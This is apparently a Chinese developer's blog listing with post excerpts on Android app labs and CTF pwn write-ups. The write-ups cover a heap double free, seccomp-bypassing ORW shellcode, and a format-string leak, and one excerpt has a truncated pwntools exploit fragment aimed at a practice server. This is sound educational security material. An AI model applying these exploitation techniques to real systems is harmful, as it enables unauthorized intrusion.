- 博客(8)
- 资源 (1)
- 收藏
- 关注
RSS订阅原创 安卓的Service来实现播放音乐
实现效果如下：代码仓库地址：https://gitee.com/what-space/MyAudioService
2020-11-11 17:41:24
269
原创 移动开发实现类微信界面（二）
@[TOC]移动开发实现类微信界面（二）功能简介在前一次实现微信基本也面的基础上，在朋友界面新建了一个recycleview的列表，并实现列表的拖动和滑动删除等功能。文章目录功能简介一、layout的创建二、recycleview的配置2.新建类源代码仓库的链接一、layout的创建layout在原来的基础上，我们将原来的显示朋友界面的tab02改成了recycleview，并新建了一个linearlayout，用来作为tab02的适配器的目标使用二、recycleview的配置我们在原来
2020-11-01 20:44:54
165
原创 移动开发第一次实验
功能说明：该app包含四个tab键，通过点击tab上的图标和空白处可以完成在不同的四个界面见切换的结果分析：因为一共要设置四个tab键，所以我们的底部应该是一个水平的linearlayout包含着四个竖直的linearlayout要完成四个界面的切换，所以创建四个不同的layout，并把他们分别打包成四个不同的fragment对象，用于与click的互动main_activity.java中，我们用setselect来设置不同的传值输出不同的fragment，默认一开始为0on.
2020-10-10 21:08:17
175
原创 buuctf_roarctf_2019_easyheap离谱的一题
首先例行公事，用checksec检查一下函数的保护措施，发现除了pie保护全开，但此题不需要泄漏程序加载地址，是个好事查看一下函数逻辑，程序一开始我们可以向内存区域的某一块输入数据，接下来就是heap的经典菜单栏，add函数允许我们创建任意大小的buf，但只有一个指针，free时没有删除指针，可以double free，当我们输入666时程序允许我们添加和free一个大小固定的chunk给ptr，这个ptr其实没什么用，主要用来给自定义大小的buf double free做道具用，show函数只有当
2020-09-29 23:32:12
600
原创 [极客大挑战 2019]Not Bad刷题
检查下程序的保护措施拖入ida发现程序打开了沙盒保护，随即用seccomp-tools工具查看下白名单因此这题选择用orw来get flag函数允许我们输入0x38个字节，但buf只有0x20大小，并且只能溢出0x18个字节，用buf来装orw的汇编代码是绝对不够的，但程序一开始mmap了内存中的一段区域，我们可以利用这段区域来保存我们的shellcode，并发现该程序有jmp rsp，利用jmp rsp可以直接执行栈上的内容write upfrom pwn import..
2020-09-28 17:44:04
444
2
原创 [第五空间2019 决赛]PWN5比较另类的解法
利用格式化字符串漏洞泄漏nptr的随机数，再输入getshellwpfrom pwn import *context.log_level='debug'io=remote("node3.buuoj.cn",26613)buf=0x0804c044password=""payload=p32(buf)+b'%10$s'io.recv()io.sendline(payload)io.recvuntil("Hello,D"+'\xc0\x04\x08')password=u32(i
2020-09-28 16:37:36
198
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人